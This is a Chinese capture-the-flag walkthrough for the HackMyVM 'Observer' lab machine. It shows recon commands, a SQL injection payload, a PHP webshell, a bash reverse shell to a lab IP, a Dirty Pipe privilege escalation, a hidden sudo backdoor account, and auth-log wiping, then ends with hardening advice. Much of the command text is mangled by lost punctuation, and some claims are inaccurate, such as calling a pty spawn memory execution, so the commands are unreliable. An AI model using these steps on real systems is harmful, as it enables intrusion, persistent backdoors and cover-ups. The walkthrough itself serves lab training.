1. HackMyVM-Observer靶机概述HackMyVM-Observer是HackMyVM平台推出的中级难度渗透测试靶机这个基于Debian的Linux系统包含了多个精心设计的漏洞链需要渗透测试者综合运用信息收集、漏洞利用、权限提升等技能才能完成挑战。作为2023年新发布的靶机它特别考察对Observer模式在Web应用中的安全实践理解这也是其命名由来。提示实际测试时建议使用VirtualBox或VMware Workstation运行靶机网络模式设置为NAT或桥接确保攻击机与靶机在同一网段。2. 环境准备与初始信息收集2.1 网络拓扑配置首先需要搭建标准的渗透测试环境攻击机Kali Linux 2023.3IP自动分配靶机HackMyVM-Observer默认IP 192.168.56.110网络连接使用VirtualBox Host-Only网络适配器验证网络连通性的基础命令ping -c 4 192.168.56.110 arp-scan -l --interfaceeth02.2 全端口扫描与服务识别使用Nmap进行深度扫描的策略nmap -sS -sV -p- -T4 -A -oN full_scan.nmap 192.168.56.110典型扫描结果会显示22/tcpOpenSSH 8.4p1可能存在用户枚举漏洞80/tcpApache 2.4.51自定义Web应用3306/tcpMySQL需要后续爆破3. Web应用渗透测试实战3.1 目录爆破与敏感文件发现使用Gobuster进行目录枚举gobuster dir -u http://192.168.56.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -o gobuster.log关键发现/admin.php后台登录页面/backup.zip网站源码备份/notes.txt包含开发者注释3.2 SQL注入漏洞利用在登录页面发现基于时间的盲注漏洞admin AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -使用sqlmap自动化利用sqlmap -u http://192.168.56.110/login.php --datausernameadminpasswordtest --level5 --risk3 --dbmsmysql --techniqueT --batch成功获取数据库信息数据库名observer_db表名users,config关键字段username,password_hash3.3 密码破解与会话劫持获取的密码哈希使用John破解john --wordlist/usr/share/wordlists/rockyou.txt hashes.txt使用破解的凭证登录后在Cookie中发现document.cookieobserver_sessioneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...;通过JWT破解获取管理员权限python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -C -d /usr/share/wordlists/rockyou.txt4. 系统权限提升路径4.1 从Web到系统的突破通过文件上传获取webshell?php system($_GET[cmd]); ?使用反连shell建立持久连接nc -lvnp 4444 # 在webshell执行 bash -c bash -i /dev/tcp/192.168.56.105/4444 014.2 内核漏洞提权检测检查系统信息uname -a # Linux observer 5.10.0-15-amd64 #1 SMP Debian 5.10.120-1 (2022-06-09) x86_64 GNU/Linux发现适用的脏管道漏洞(CVE-2022-0847)gcc -o exploit exploit.c ./exploit4.3 敏感信息收集在/opt目录发现数据库备份strings /opt/db_backup.sql | grep -i password在用户目录找到SSH私钥find /home -name id_rsa -type f 2/dev/null5. 后渗透与痕迹清理5.1 建立持久化访问添加SSH公钥echo ssh-rsa AAAAB3NzaC1yc2E... ~/.ssh/authorized_keys创建隐藏后门账户useradd -m -s /bin/bash -G sudo sysmon echo sysmon:Password123! | chpasswd5.2 日志清理技巧清除相关日志条目sed -i /192.168.56.105/d /var/log/auth.log使用内存执行避免磁盘记录python3 -c import pty; pty.spawn(/bin/bash)6. 防御措施建议6.1 安全加固方案针对发现的漏洞建议Apache配置Directory /var/www/html Options -Indexes AllowOverride None Require all granted /DirectoryMySQL安全设置ALTER USER webuserlocalhost IDENTIFIED WITH mysql_native_password BY ComplexPass123!;6.2 监控策略优化实现Observer模式的安全监控import hashlib def file_monitor(path): original_hash hashlib.md5(open(path,rb).read()).hexdigest() while True: current_hash hashlib.md5(open(path,rb).read()).hexdigest() if current_hash ! original_hash: alert_system(fFile {path} modified!)在实际测试中我发现Observer靶机的Web应用对HTTP头部过滤不严格通过添加X-Forwarded-For: 127.0.0.1可以绕过某些IP限制。这种设计恰好呼应了靶机名称中的Observer概念——许多安全系统正是因为观察逻辑存在缺陷而被绕过。